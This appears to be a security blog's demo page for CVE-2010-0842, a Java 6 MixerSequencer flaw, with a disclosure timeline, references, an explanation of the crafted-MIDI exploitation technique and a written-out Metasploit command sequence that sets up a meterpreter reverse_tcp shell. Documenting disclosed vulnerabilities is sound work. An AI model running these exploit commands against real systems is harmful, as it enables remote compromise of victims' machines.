CVE-2010-0842 Java MixerSequencer Vulnerability Metasploit Demo
Timeline :
Vulnerability reported to ZDI by Peter Vreugdenhil
Vulnerability reported to the vendor by ZDI the 2009-12-10
Coordinated public release of the vulnerability the 2010-04-05
Details of the vulnerability and first PoC disclosed the 2010-05-21
Metasploit PoC provided the 2012-02-15
PoC provided by :
Peter Vreugdenhil
juan vazquez
Reference(s) :
CVE-2010-0842
OSVDB-63493
ZDI-10-060
Affected version(s) :
Java 6 before or equal to update 18
Tested on Windows 7 Integral with :
Java 6 Update 18
Internet Explorer 9
Description :
This module exploits a flaw within the handling of MixerSequencer objects in Java 6u18 and before. Exploitation id done by supplying a specially crafted MIDI file within an RMF File. When the MixerSequencer objects is used to play the file, the GM_Song structure is populated with a function pointer provided by a SONG block in the RMF. A Midi block that contains a MIDI with a specially crafted controller event is used to trigger the vulnerability. When triggering the vulnerability “ebx” points to a fake event in the MIDI file which stores the shellcode. A “jmp ebx” from msvcr71.dll is used to make the exploit reliable over java updates.
Commands :
use exploit/windows/browser/java_mixer_sequencer set SRVHOST 192.168.178.100 SET PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.178.100 exploit sysinfo getuid
I recommend you to read these related posts
- CVE-2012-0507 Java AtomicReferenceArray Type Violation Vulnerability Metasploit Demo
- CVE-2012-5088 Java Applet Method Handle RCE Metasploit Demo
- CVE-2013-2423 – Java 7u17 Applet Reflection Type Confusion RCE Metasploit Demo
- CVE-2012-1723 Oracle Java Applet Field Bytecode Verifier Cache RCE Metasploit Demo
- CVE-2012-0500 Oracle Java Web Start Plugin Command Line Argument Injection Metasploit Demo
- CVE-2012-5076 Java Applet AverageRangeStatisticImpl RCE Metasploit Demo
- CVE-2013-0431 Java Applet JMX Remote Code Execution Metasploit Demo
- CVE-2010-0094 : Java RMIConnectionImpl Deserialization Privilege Escalation Exploit
- CVE-2010-4452 : Oracle Java Applet2ClassLoader Remote Code Execution Exploit
- CVE-2010-3563 : Sun Java Web Start BasicServiceImpl Remote Code Execution Exploit